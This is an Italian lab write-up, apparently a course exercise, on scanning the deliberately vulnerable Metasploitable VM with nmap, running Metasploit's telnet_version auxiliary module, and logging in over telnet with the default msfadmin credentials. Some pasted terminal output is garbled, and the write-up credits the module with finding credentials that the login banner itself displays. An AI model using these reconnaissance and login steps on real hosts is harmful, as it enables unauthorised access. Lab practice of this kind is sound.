Metasploit: attacco al servizio telnet su Metasploitable

Obiettivo dell'esercizio di oggi è eseguire un exploit della macchina virtuale Metasploitable tramite software **Metasploit**, in particolare andando ad attaccare il servizio **telnet**.

Con il termine exploit intendiamo quel processo per cui un attaccante "**buca**" le difese di un sistema bersaglio, andando a spianare la strada all'istallazione di una **shell** tramite un **payload** caricato, appunto, tramite la falla creatasi con l'attacco.

In particolare, oggi useremo un modulo ausiliare di metasploit, il quale non richiede l'inserimento manuale di un payload e il cui scopo può essere diverso dal penetrare nel sistema bersaglio: può, ad esempio, fornirci informazioni sulla rete, sui dispositivi connessi e , come vedremo dopo, le credenziali di accesso particolari servizi.

Il **protocollo bersaglio**, **telnet**, si occupa di gestire le connessioni alla macchina, dando la possibilità di controllarla da remoto.

Vediamo di seguito il procedimento dell'attacco.

Innanzitutto, effettuiamo uno **scan** tramite **nmap** sulla macchina bersaglio per determinare la presenza o meno del protocollo e se la porta risulta essere aperta. Come mostra l'immagine, il protocollo opera sulla **porta 23**.

```
ap 192.168.1.101 -sV
-$ mmap 192.168.1.101 -sV

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 14:31 CET

Nmap scan report for 192.168.1.101

Host is up (0.00012s latency).

Not shown: 977 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcn open smtn Postfix smtnd
                                                         Linux telnetd
Postfix smtpd
 25/tcp
                  open smtp
 53/tcp
                  open
                                domain
                                                         ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubuntu) DAV/2)
                   open
 111/tcp open
139/tcp open
                               rpcbind 2 (RPC #100000)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
exec netkit-rsh rexecd
 512/tcp
                 open
 513/tcp
                  open
                                login?
 514/tcp open
1099/tcp open
                                                         Netkit rshd
GNU Classpath grmiregistry
                                shell
                               java-rmi GNU Classpath grmi-
java-rmi GNU Classpath grmi-
bindshell Metasploitable root
nfs 2-4 (RPC #100003)
 1524/tcp open
2049/tcp open
2121/tcp open
3306/tcp open
                                                         ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
                                mysql
5432/tcp open
5900/tcp open
                               postgresql PostgreSQL DB 8.3.0
vnc VNC (protocol 3.3)
 6000/tcp open
6667/tcp open
8009/tcp open
                                                          UnrealIRCd
8009/tcp open ajp13
8180/tcp open http
Service Info: Hosts:
                                              Apache Jserv (Protocol v1.3)
Apache Tomcat/Coyote JSP engine 1.1
metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.37 seconds
```

Andiamo poi a cercare su Metasploit l'exploit che vogliamo utilizzare, scegliendo infine quello terminante con **telnet_version**. Lo carichiamo usando il comando **use**. Essendo un modulo ausiliare, non sarà necessario caricare alcun payload: la configurazione avverrà in automatico.

Utilizziamo poi il comando **show option** per visualizzare le opzioni e le variabili necessarie al completamento del nostro attacco: in questo caso, l'unico parametro da inserire è l'**IP bersaglio**, in quanto il sistema ha già automaticamente selezionato la porta corretta, la 23.

Nell'immagine nella prossima pagina sono visibili le opzioni presenti e il comando per inserire l'host bersaglio: l'attacco può adesso essere lanciato con il comando **exploit**.

```
Module options (auxiliary/scanner/telnet/telnet_version):
                  Current Setting Required Description
                                                       The password for the specified username
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
    PASSWORD
                                                        The target port (TCP)
The number of concurrent threads (max one per host)
Timeout for the Telnet probe
    THREADS
    USERNAME
                                                        The username to authenticate as
View the full module info with the info, or info -d command.
msf6 auxiliary(
mass dextrasy (same/tener/tener/tener/tener/serion) > Set rhosts is rhosts is rhosts as 192.168.1.101
msf6 auxiliary(scanner/telnet/telnet_version) > Show options
Module options (auxiliary/scanner/telnet/telnet version):
                  Current Setting Required Description
    Name
                                                        The password for the specified username
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    PASSWORD
    RHOSTS 192.100...

RPORT 23 yes The target port (no.)

THREADS 1 yes The number of concurrent threads

TIMEOUT 30 yes Timeout for the Telnet probe

no The username to authenticate as
                                                        The target port (TCP)
The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Al termine dell'attacco, Metasploit ci restituisce in chiaro le **credenziali per accedere al protocollo telnet** sulla macchina Metasploitable, come evidenziato nell'immagine seguente.

Infine, a riprova del successo dell'attacco, effettuiamo il collegamento al telnet di Metasploitable con le credenziali forniteci da metasploit.

```
(giuseppe@ kali)-[~]
$ telnet 192.168.1.101
Trying 192.168.1.101...
Connected to 192.168.1.101...
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Nov 7 08:31:28 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:-$ |
```